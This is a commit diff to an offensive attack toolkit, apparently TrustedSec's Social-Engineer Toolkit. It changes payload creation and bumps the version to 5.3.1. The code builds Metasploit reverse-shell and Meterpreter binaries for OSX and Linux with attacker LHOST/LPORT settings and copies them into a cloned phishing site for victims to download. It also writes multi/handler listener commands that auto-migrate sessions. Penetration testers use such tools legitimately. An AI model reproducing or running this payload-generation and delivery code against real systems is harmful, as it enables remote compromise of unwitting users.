Fixed a few bugs in payload creation

This commit is contained in:
TrustedSec 2013-08-11 10:36:21 -04:00
parent 13c460e3be
commit 8c5eb6151b
3 changed files with 19 additions and 9 deletions

View file

@ -297,8 +297,9 @@ try:
encoder = "true"
# Handle special cases
if encode=='' or encode == ' ': encode = '16'
if encode == '16': encount=0
if encode=='' or encode == ' ': encode = '1'
if encode == '1':
encount="4"
if encode=='14' or encode == '0': encoder="false"
# do dictionary lookup
@ -658,15 +659,24 @@ try:
# deploy nix and linux binaries
if check_config("DEPLOY_OSX_LINUX_PAYLOADS=").lower() == "on":
port2=check_config("LINUX_REVERSE_PORT=")
osxpayload = check_config("OSX_PAYLOAD_DELIVERY=")
linuxpayload = check_config("LINUX_PAYLOAD_DELIVERY=")
print_status("Generating OSX payloads through Metasploit...")
subprocess.Popen(r"ruby %s/msfpayload osx/x86/shell_reverse_tcp LHOST=%s LPORT=%s X > %s/mac.bin;chmod 755 %s/mac.bin" % (path,choice2,port1,setdir,setdir), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
subprocess.Popen(r"ruby %s/msfpayload %s LHOST=%s LPORT=%s X > %s/mac.bin;chmod 755 %s/mac.bin" % (path,osxpayload,choice2,port1,setdir,setdir), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
print_status("Generating Linux payloads through Metasploit...")
subprocess.Popen(r"ruby %s/msfpayload linux/x86/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/nix.bin" % (path,choice2,port2,setdir), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
subprocess.Popen(r"ruby %s/msfpayload %s LHOST=%s LPORT=%s X > %s/nix.bin" % (path,linuxpayload,choice2,port2,setdir), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
if multiattack_java == "on":
multiattack.write("OSX="+str(port1)+"\n")
multiattack.write("OSXPAYLOAD=osx/x86/shell_reverse_tcp\n")
multiattack.write("OSXPAYLOAD=%s\n" % (osxpayload))
multiattack.write("LINUX="+str(port2)+"\n")
multiattack.write("LINUXPAYLOAD=linux/x86/shell/reverse_tcp\n")
multiattack.write("LINUXPAYLOAD=%s\n" % (linuxpayload))
osxcheck = check_options("MAC.BIN=")
linuxcheck = check_options("NIX.BIN=")
shutil.copyfile(setdir + "/mac.bin", setdir + "/web_clone/%s" % (osxcheck))
shutil.copyfile(setdir + "/nix.bin", setdir + "/web_clone/%s" % (linuxcheck))
# try block here
try:
# if they want a listener, start here

View file

@ -229,7 +229,7 @@ def print_error(message):
print bcolors.RED + bcolors.BOLD + "[!] " + bcolors.ENDC + bcolors.RED + str(message) + bcolors.ENDC
def get_version():
define_version = '5.3'
define_version = '5.3.1'
return define_version
class create_menu:

View file

@ -112,7 +112,7 @@ if multi_injection == "on":
filewrite.write("\nuse exploit/multi/handler\n")
if auto_migrate == "ON":
filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
filewrite.write("set PAYLOAD %s\n set LHOST %s\nset EnableStageEncoding true\nset ExitOnSession false\nset LPORT %s\nexploit -j\n\n" % (powershell_inject_x86, ipaddr, ports))
filewrite.write("set PAYLOAD %s\nset LHOST %s\nset EnableStageEncoding true\nset ExitOnSession false\nset LPORT %s\nexploit -j\n\n" % (powershell_inject_x86, ipaddr, ports))
filewrite.close()
# if its turned to off